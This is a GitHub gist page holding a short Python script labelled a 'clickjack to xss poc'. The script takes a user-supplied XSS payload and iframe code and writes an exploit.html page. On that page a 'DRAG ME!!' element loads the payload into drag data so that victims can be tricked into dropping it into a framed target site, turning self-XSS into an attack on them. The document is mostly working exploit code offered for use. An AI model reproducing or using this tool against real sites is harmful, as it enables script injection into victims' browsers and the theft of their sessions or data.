Skip to content

Instantly share code, notes, and snippets.

@Expertasif

Expertasif/cxp.py

Forked from vishwaraj101/cxp.py
Created November 17, 2017 16:09
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Expertasif/702ffbe607c1f5202f8cf1da73f21005 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Expertasif/702ffbe607c1f5202f8cf1da73f21005 to your computer and use it in GitHub Desktop.
Download ZIP
clickjack to xss poc
Raw
cxp.py
print "Clickjack to Xss"
vector=raw_input('xss vector--> ') #xss payload
html=raw_input('Custom Iframe Code--> ') #custom iframe code
fo=open('exploit.html','w') #creating html file
source_code="""<html><body>
<h1>Clickjack to exploit self xss </h1>
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '%s')"><h3>DRAG ME!!</h3></div>
"""%(vector)
fo.write(source_code)
fo=open('exploit.html','a')
fo.write(html)
fo.write('</body></html>')
fo.close() #closing the file
print "file created"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment